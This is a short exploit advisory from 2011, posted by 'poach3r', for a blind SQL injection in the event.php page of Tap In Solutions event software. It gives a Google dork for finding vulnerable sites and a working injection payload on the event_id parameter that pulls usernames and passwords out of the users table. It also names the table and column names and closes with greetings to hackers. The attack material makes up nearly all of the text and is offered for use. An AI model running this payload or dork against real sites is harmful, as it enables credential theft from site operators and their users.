==========================================================================

# Exploit Title: Tap In Solutions Blind SQL Injection Vulnerability
# Date: 17.10.2011
# Author: poach3r
# Software Link: http://www.tapinsolutionsinc.com/
# Tested on: Windows XP SP3
# Google Dork: inurl:event.php?event_id= powered by Tap In Solutions

==========================================================================

# Vulnerable File : 

==> event.php <==

# Exploit :

http://127.0.0.1/path/event.php?event_id=[SQL]

# Demo :

http://127.0.0.1/path/event.php?event_id=1/**/and/**/(select/**/substring(concat(1,user_name,password),1,1)/**/from/**/users/**/limit/**/0,1)=1

# Details :

Admin Table : users
Username Column : user_name
Password Column : password

==========================================================================
# GreetZ To : All IRANIAN HackerZ

./End